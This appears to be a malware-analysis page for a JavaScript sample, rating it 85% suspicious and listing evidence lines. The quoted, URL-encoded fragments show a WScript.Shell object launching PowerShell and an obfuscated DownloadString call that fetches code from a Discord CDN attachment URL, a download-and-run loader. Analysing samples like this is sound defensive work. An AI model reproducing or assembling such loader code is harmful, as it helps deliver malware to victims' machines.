Suspicious 85% Download

c53f4bf1aa6846bd492e8b0464e45d35c0ecf42490af698ffab1964a202c3e0b.js

Executes PowerShell via WScript.Shell

Discord CDN attachment URLDiscord CDN download URL
SHA-256c53f4bf1aa6846bd492e8b0464e45d35c0ecf42490af698ffab1964a202c3e0b
MaleculeO(C)H₂(CmOs)

Evidence

Instantiates WScript.Shell object line 126
126…CJVY%0Aset%20ESRDTYGUHGYTFRHTCJVY%20%3D%20CreateObject%28%22Wscript.Shell%22%29%0AESRDTYGUHGYTFRHTCJVY.run%20%22powershe…
Discord CDN download URL line 298
298…lient%29.Downlo%27%3B%20%24c3%3D%27adString%28%27%27https://cdn.discordapp.com/attachments/818131365656395779/8181318847…

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.